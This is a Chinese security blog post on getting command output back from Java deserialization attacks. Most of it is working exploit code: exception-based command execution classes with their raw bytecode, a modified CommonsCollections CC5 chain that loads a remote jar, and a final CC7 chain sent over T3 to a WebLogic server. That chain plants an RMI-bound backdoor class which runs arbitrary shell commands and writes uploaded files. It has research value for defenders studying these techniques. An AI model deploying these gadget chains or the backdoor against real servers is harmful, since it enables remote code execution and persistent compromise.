Java安全之反序列化回显研究

0x00 前言

续上文反序列化回显与内存马，继续来看看反序列化回显的方式。上篇文中其实是利用中间件中存储的Request 和Response对象来进行回显。但并不止这么一种方式。

0x01 回显方式

中间件回显
defineClass
Linux描述符回显
RMI绑定实例
URLClassLoader抛出异常
写文件css、js
dnslog

defineClass异常回显

异常类：

package com.nice0e3;

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.nio.charset.Charset;

public class echo {
    public echo(String cmd) throws Exception {
        InputStream stream = (new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd})).start().getInputStream();
        InputStreamReader streamReader = new InputStreamReader(stream, Charset.forName("gbk"));
        BufferedReader bufferedReader = new BufferedReader(streamReader);
        StringBuffer buffer = new StringBuffer();
        String line = null;
        while ((line = bufferedReader.readLine()) != null) {
            buffer.append(line).append("\n");
        }
        throw new Exception(buffer.toString());

    }
    }

public class demo extends ClassLoader{
    private static String Classname = "com.nice0e3.echo";
    private static byte[] ClassBytes = new byte[]{-54, -2, -70, -66, 0, 0, 0, 49, 0, 88, 10, 0, 24, 0, 46, 7, 0, 47, 7, 0, 48, 8, 0, 49, 8, 0, 50, 10, 0, 2, 0, 51, 10, 0, 2, 0, 52, 10, 0, 53, 0, 54, 7, 0, 55, 8, 0, 56, 10, 0, 57, 0, 58, 10, 0, 9, 0, 59, 7, 0, 60, 10, 0, 13, 0, 61, 7, 0, 62, 10, 0, 15, 0, 46, 10, 0, 13, 0, 63, 10, 0, 15, 0, 64, 8, 0, 65, 7, 0, 66, 10, 0, 15, 0, 67, 10, 0, 20, 0, 68, 7, 0, 69, 7, 0, 70, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 18, 76, 99, 111, 109, 47, 110, 105, 99, 101, 48, 101, 51, 47, 101, 99, 104, 111, 59, 1, 0, 3, 99, 109, 100, 1, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 6, 115, 116, 114, 101, 97, 109, 1, 0, 21, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 12, 115, 116, 114, 101, 97, 109, 82, 101, 97, 100, 101, 114, 1, 0, 27, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 82, 101, 97, 100, 101, 114, 59, 1, 0, 14, 98, 117, 102, 102, 101, 114, 101, 100, 82, 101, 97, 100, 101, 114, 1, 0, 24, 76, 106, 97, 118, 97, 47, 105, 111, 47, 66, 117, 102, 102, 101, 114, 101, 100, 82, 101, 97, 100, 101, 114, 59, 1, 0, 6, 98, 117, 102, 102, 101, 114, 1, 0, 24, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 102, 102, 101, 114, 59, 1, 0, 4, 108, 105, 110, 101, 1, 0, 10, 69, 120, 99, 101, 112, 116, 105, 111, 110, 115, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 9, 101, 99, 104, 111, 46, 106, 97, 118, 97, 12, 0, 25, 0, 71, 1, 0, 24, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 66, 117, 105, 108, 100, 101, 114, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 1, 0, 7, 99, 109, 100, 46, 101, 120, 101, 1, 0, 2, 47, 99, 12, 0, 25, 0, 72, 12, 0, 73, 0, 74, 7, 0, 75, 12, 0, 76, 0, 77, 1, 0, 25, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 82, 101, 97, 100, 101, 114, 1, 0, 3, 103, 98, 107, 7, 0, 78, 12, 0, 79, 0, 80, 12, 0, 25, 0, 81, 1, 0, 22, 106, 97, 118, 97, 47, 105, 111, 47, 66, 117, 102, 102, 101, 114, 101, 100, 82, 101, 97, 100, 101, 114, 12, 0, 25, 0, 82, 1, 0, 22, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 102, 102, 101, 114, 12, 0, 83, 0, 84, 12, 0, 85, 0, 86, 1, 0, 1, 10, 1, 0, 19, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 12, 0, 87, 0, 84, 12, 0, 25, 0, 26, 1, 0, 16, 99, 111, 109, 47, 110, 105, 99, 101, 48, 101, 51, 47, 101, 99, 104, 111, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 3, 40, 41, 86, 1, 0, 22, 40, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 5, 115, 116, 97, 114, 116, 1, 0, 21, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 59, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 1, 0, 14, 103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 23, 40, 41, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 24, 106, 97, 118, 97, 47, 110, 105, 111, 47, 99, 104, 97, 114, 115, 101, 116, 47, 67, 104, 97, 114, 115, 101, 116, 1, 0, 7, 102, 111, 114, 78, 97, 109, 101, 1, 0, 46, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 99, 104, 97, 114, 115, 101, 116, 47, 67, 104, 97, 114, 115, 101, 116, 59, 1, 0, 50, 40, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 99, 104, 97, 114, 115, 101, 116, 47, 67, 104, 97, 114, 115, 101, 116, 59, 41, 86, 1, 0, 19, 40, 76, 106, 97, 118, 97, 47, 105, 111, 47, 82, 101, 97, 100, 101, 114, 59, 41, 86, 1, 0, 8, 114, 101, 97, 100, 76, 105, 110, 101, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 6, 97, 112, 112, 101, 110, 100, 1, 0, 44, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 102, 102, 101, 114, 59, 1, 0, 8, 116, 111, 83, 116, 114, 105, 110, 103, 0, 33, 0, 23, 0, 24, 0, 0, 0, 0, 0, 1, 0, 1, 0, 25, 0, 26, 0, 2, 0, 27, 0, 0, 0, -10, 0, 6, 0, 7, 0, 0, 0, 112, 42, -73, 0, 1, -69, 0, 2, 89, 6, -67, 0, 3, 89, 3, 18, 4, 83, 89, 4, 18, 5, 83, 89, 5, 43, 83, -73, 0, 6, -74, 0, 7, -74, 0, 8, 77, -69, 0, 9, 89, 44, 18, 10, -72, 0, 11, -73, 0, 12, 78, -69, 0, 13, 89, 45, -73, 0, 14, 58, 4, -69, 0, 15, 89, -73, 0, 16, 58, 5, 1, 58, 6, 25, 4, -74, 0, 17, 89, 58, 6, -58, 0, 19, 25, 5, 25, 6, -74, 0, 18, 18, 19, -74, 0, 18, 87, -89, -1, -24, -69, 0, 20, 89, 25, 5, -74, 0, 21, -73, 0, 22, -65, 0, 0, 0, 2, 0, 28, 0, 0, 0, 38, 0, 9, 0, 0, 0, 9, 0, 4, 0, 10, 0, 36, 0, 11, 0, 50, 0, 12, 0, 60, 0, 13, 0, 69, 0, 14, 0, 72, 0, 15, 0, 83, 0, 16, 0, 99, 0, 18, 0, 29, 0, 0, 0, 72, 0, 7, 0, 0, 0, 112, 0, 30, 0, 31, 0, 0, 0, 0, 0, 112, 0, 32, 0, 33, 0, 1, 0, 36, 0, 76, 0, 34, 0, 35, 0, 2, 0, 50, 0, 62, 0, 36, 0, 37, 0, 3, 0, 60, 0, 52, 0, 38, 0, 39, 0, 4, 0, 69, 0, 43, 0, 40, 0, 41, 0, 5, 0, 72, 0, 40, 0, 42, 0, 33, 0, 6, 0, 43, 0, 0, 0, 4, 0, 1, 0, 20, 0, 1, 0, 44, 0, 0, 0, 2, 0, 45};

    @Override
    protected Class<?> findClass(String name) throws ClassNotFoundException {
        if (name.equals(Classname)){
            return defineClass(Classname,ClassBytes,0,ClassBytes.length);
        }
        return super.findClass(name);
    }

    public static void main(String[] args) {
        demo loader = new demo();
        try {
            // 使用自定义的类加载器加载TestHelloWorld类
            Class testClass = loader.loadClass(Classname);
            testClass.getConstructor(String.class).newInstance("ipconfig");




        } catch (Exception e) {
            e.printStackTrace();

    }}}

URLClassLoader异常回显

import java.io.*;
import java.nio.charset.Charset;

public class ProcessExec {
    public ProcessExec(String cmd) throws Exception {
        InputStream stream = (new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd})).start().getInputStream();
        InputStreamReader streamReader = new InputStreamReader(stream, Charset.forName("gbk"));
        BufferedReader bufferedReader = new BufferedReader(streamReader);
        StringBuffer buffer = new StringBuffer();
        String line = null;

        while((line = bufferedReader.readLine()) != null) {
            buffer.append(line).append("\n");
        }

        throw new Exception(buffer.toString());
    }
}

将其打包成jar包

javac ProcessExec.java
jar -cvf ProcessExec.jar ProcessExec.class

将jar包挂载到web

package com.nice0e3;

import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class test1 {
    public static void main(String[] args) throws Exception {

        URL url = new URL("http://127.0.0.1:8000/ProcessExec.jar");
        URL[] urls = {url};
        URLClassLoader urlClassLoader = URLClassLoader.newInstance(urls);
        Constructor<?> processExec = urlClassLoader.loadClass("ProcessExec").getConstructor(String.class);
        processExec.newInstance("ipconfig");
    }
}

改造CC链

将cc5链抠出来稍做修改。

package com.nice0e3;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.HashMap;

public class cc5 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException, MalformedURLException {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
            new ConstantTransformer(URLClassLoader.class),
                    new InvokerTransformer("getConstructor",
                            new Class[]{Class[].class},
                            new Object[]{new Class[]{URL[].class}}),
                    new InvokerTransformer("newInstance",
                            new Class[]{Object[].class},
                            new Object[]{new Object[]{new URL[]{new URL("http://127.0.0.1:8000/ProcessExec.jar")}}}),
                    new InvokerTransformer("loadClass",
                            new Class[]{String.class},
                            new Object[]{"ProcessExec"}),
                    new InvokerTransformer("getConstructor",
                            new Class[]{Class[].class},
                            new Object[]{new Class[]{String.class}}),
                    new InvokerTransformer("newInstance",
                            new Class[]{Object[].class},
                            new Object[]{new String[]{"ipconfig"}})


        });

        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
        TiedMapEntry tiedmap = new TiedMapEntry(map,123);
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));
            outputStream.writeObject(poc);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

RMI绑定实例回显

编写远程接口

package com.Rmi;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Echo extends Remote {
    public String exec (String cmd) throws RemoteException;

    ;
}

实现远程接口

package com.Rmi;

import java.io.InputStream;
import java.rmi.RemoteException;

public class EchoImpl implements Echo{
    public String exec(String cmd) throws RemoteException {
        InputStream in = null;
        try {
            in = Runtime.getRuntime().exec(cmd).getInputStream();
        }catch (Exception e){
            e.printStackTrace();
        }
        java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");

        return s.hasNext()?s.next():"";
    }
    }

编写服务端绑定EchoImpl

package com.Rmi;


import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class EchoServer {
    public static void main(String[] args) throws Exception {
        Echo echo = new EchoImpl();
        Echo e = null;

            e = (Echo) UnicastRemoteObject.exportObject(echo,9999);
            Registry registry =  LocateRegistry.createRegistry(9999);
            registry.bind("Echo",e);
            System.out.println("Start RMI Server................");

    }
}

编写客户端调用远程方法

package com.Rmi;

import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class EvilClient {
    public static void main(String[] args) throws RemoteException, NotBoundException {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",9999);
        Echo echo = (Echo) registry.lookup("Echo");
        System.out.println(echo.exec("ipconfig"));
    }
}

改造

因为ClassLoader是一个abstract抽象类，所以只能从他的子类中寻找defineClass(),

这里采用查看调用来寻找Classload的子类，我这里寻找到的是

java.security.SecureClassLoader#defineClass(java.lang.String, byte[], int, int, java.security.CodeSource)

然后需要寻找一个实现Remote的接口，也就是寻找RMI的实现接口。方法的返回类型应该为String，并且方法必须抛出 java.rmi.RemoteException 异常。

查找到一下几个接口，符合条件的。

ClusterMasterRemote
SingletonMonitorRemote
RemoteMigratableServiceCoordinator
RemoteLeasingBasis
RemoteChannelService

编写回显类

package com;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import sun.misc.BASE64Decoder;
import weblogic.cluster.singleton.ClusterMasterRemote;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.rmi.RemoteException;

public class ECHOClass extends AbstractTranslet implements ClusterMasterRemote {
    static {
        try{
            Context ctx = new InitialContext();
            ctx.rebind("echo", new ECHOClass());
        }catch (Exception e){

        }
    }

    @Override
    public void setServerLocation(String path, String text) throws RemoteException {
        try {
            FileOutputStream fileOutputStream = new FileOutputStream(path);
            fileOutputStream.write(new BASE64Decoder().decodeBuffer(text));
            fileOutputStream.flush();
            fileOutputStream.close();
        }catch (Exception e) {

        }
    }

    @Override
    public String getServerLocation(String cmd) throws RemoteException {
        try {
            if (cmd.equals("unbind")) {
                Context ctx = new InitialContext();
                ctx.unbind("sectest");
                return null;
            } else{
                String name = System.getProperty("os.name");
                String[] cmds = name != null && name.toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"sh", "-c", cmd};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                byte[] buf = new byte[1024];
                int len = 0;
                ByteArrayOutputStream out = new ByteArrayOutputStream();
                while ((len = in.read(buf)) != -1) {
                    out.write(buf, 0, len);
                }
                return new String(out.toByteArray());
            }

        }catch (Exception e){

        }
        return null;
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

这里该接口需要重写2个方法，一个返回类型为String，一个是void类型。那么这里使用返回类型为String的getServerLocation方法来做命令执行回显，而setServerLocation作为上传的方法。在反序列化的时候，结合利用链将该类打入目标服务器中，打入后会进行我们的echo会绑定 ECHOClass这个实例。然后再去调用一下代码进行命令执行回显。

Object obj= getInitContext(protocol,host,port).lookup("echo");
ClusterMasterRemote shell = (ClusterMasterRemote)obj;
String result = shell.getServerLocation("whoami");

而这里继承AbstractTranslet是为了某些利用链TemplatesImpl的动态加载。

改写cc链

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(DefiningClassLoader.class),
    new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}),
    new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}),
    new InvokerTransformer("defineClass",
                           new Class[]{String.class, byte[].class}, new Object[]{className, byteclass}),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"main", new Class[]{String[].class}}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
    new ConstantTransformer(new HashSet())};

最终代码

最终想使用cc7使用ClasspathClassLoader来做命令执行。

public class test {
    private static String host = "192.168.22.132";
    private static String port = "7001";


    public static void main(String[] args) {
        try {
            String url = "t3://" + host + ":" + port;
            // 安装RMI实例
            invokeRMI();

            Hashtable env = new Hashtable();
            env.put(Context.INITIAL_CONTEXT_FACTORY, "weblogic.jndi.WLInitialContextFactory");
            env.put(Context.PROVIDER_URL, url);
            env.put("weblogic.jndi.requestTimeout",15000L);
            InitialContext initialContext = new InitialContext(env);

            ClusterMasterRemote remote = (ClusterMasterRemote) initialContext.lookup("echo");

            // 调用RMI实例执行命令
            String res = remote.getServerLocation("ifconfig");
            System.out.println(res);
        } catch (Exception e) {
            e.printStackTrace();
        }

    }

    private static void invokeRMI() throws Exception {
        byte[] buf = ClassFiles.classAsBytes(ECHOClass.class);
        final Transformer transformerChain = new ChainedTransformer(
                new Transformer[]{});
        final Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(ClasspathClassLoader.class),
                new InvokerTransformer("getDeclaredConstructor",
                        new Class[]{Class[].class},
                        new Object[]{new Class[0]}),
                new InvokerTransformer("newInstance",
                        new Class[]{Object[].class},
                        new Object[]{new Object[0]}),
                new InvokerTransformer("defineCodeGenClass",
                        new Class[]{String.class, byte[].class, URL.class}, new Object[]{ECHOClass.class, buf, null}),
                new ConstantTransformer(1)};

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        // Use the colliding Maps as keys in Hashtable
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);


        Reflections.setFieldValue(transformerChain, "iTransformers", transformers);


        // Needed to ensure hash collision after previous manipulations
        lazyMap2.remove("yy");

        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(out);
        objOut.writeObject(hashtable);
        objOut.flush();
        objOut.close();
        byte[] payload = out.toByteArray();
        T3ProtocolOperation.send(host, port, payload);
    }
}